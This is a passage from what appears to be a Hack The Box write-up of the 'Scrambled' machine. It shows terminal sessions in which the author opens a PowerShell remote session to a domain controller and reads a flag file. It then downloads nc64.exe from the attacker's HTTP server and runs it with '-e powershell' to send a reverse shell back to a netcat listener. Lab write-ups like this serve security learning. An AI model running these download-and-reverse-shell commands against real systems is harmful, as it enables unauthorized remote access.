WARNING: WSMan libs have been installed, please restart your PowerShell session to enable it in PowerShell
PS /> exit

Now back in PowerShell, I’ll get a session:

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ sudo pwsh

PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

   A new PowerShell stable release is available: v7.4.6 
   Upgrade now, or check out the release page at:       
     https://aka.ms/PowerShell-Release?tag=v7.4.6       

PS /home/puck/htb/scrambled> Enter-PSSession dc1.scrm.local -Credential MiscSvc

PowerShell credential request
Enter your credentials.
Password for user MiscSvc: *****************

[dc1.scrm.local]: PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
[dc1.scrm.local]: PS C:\Users\miscsvc\Documents> 

..

And grab user.txt:

[dc1.scrm.local]: PS C:\Users\miscsvc\Documents> type c:\users\miscsvc\desktop\user.txt
8d9496bc************************

nc

This shell is super slow, so I’ll upload nc64.exe:

[dc1.scrm.local]: PS C:\programdata> iwr 10.10.14.4:8000/nc64.exe -outfile nc64.exe
[dc1.scrm.local]: PS C:\programdata> .\nc64.exe -e powershell 10.10.14.4 443

And catch a fresh shell:

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ rlwrap nc -nlvp 443        
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.168] 64562
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\programdata> whoami
whoami
scrm\sqlsvc
PS C:\programdata> 

root.txt

See solving this box from a Windows VM

 

Conclusion

I’ve spent a lot of time to figure out how to use impacket correctly 😂. It was cool to learn more about Kerberos authentication  I’ve enjoyed the box a lot!